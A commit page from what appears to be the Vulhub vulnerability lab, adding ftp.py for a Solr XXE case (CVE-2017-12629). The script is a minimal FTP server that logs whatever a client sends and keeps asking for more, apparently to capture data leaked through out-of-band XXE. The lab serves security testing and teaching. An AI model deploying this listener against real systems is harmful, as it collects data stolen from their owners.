first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
28
solr/CVE-2017-12629-XXE/ftp.py
Normal file
28
solr/CVE-2017-12629-XXE/ftp.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python3
|
||||
import socketserver
|
||||
|
||||
|
||||
class MyTCPHandler(socketserver.BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
# self.request is the TCP socket connected to the client
|
||||
self.request.send(b'220 xxe-ftp-server\r\n')
|
||||
self.communicating = True
|
||||
while self.communicating:
|
||||
cmd = self.request.recv(1024)
|
||||
if len(cmd) == 0:
|
||||
break
|
||||
|
||||
cmd = cmd.decode().rstrip()
|
||||
print("> " + cmd)
|
||||
if cmd.split(' ', 1)[0] == 'USER':
|
||||
self.request.send(b'331 password please - version check\r\n')
|
||||
else:
|
||||
self.request.send(b'230 more data please!\r\n')
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
HOST, PORT = "0.0.0.0", 2121
|
||||
|
||||
server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)
|
||||
server.serve_forever()
|
Reference in New Issue
Block a user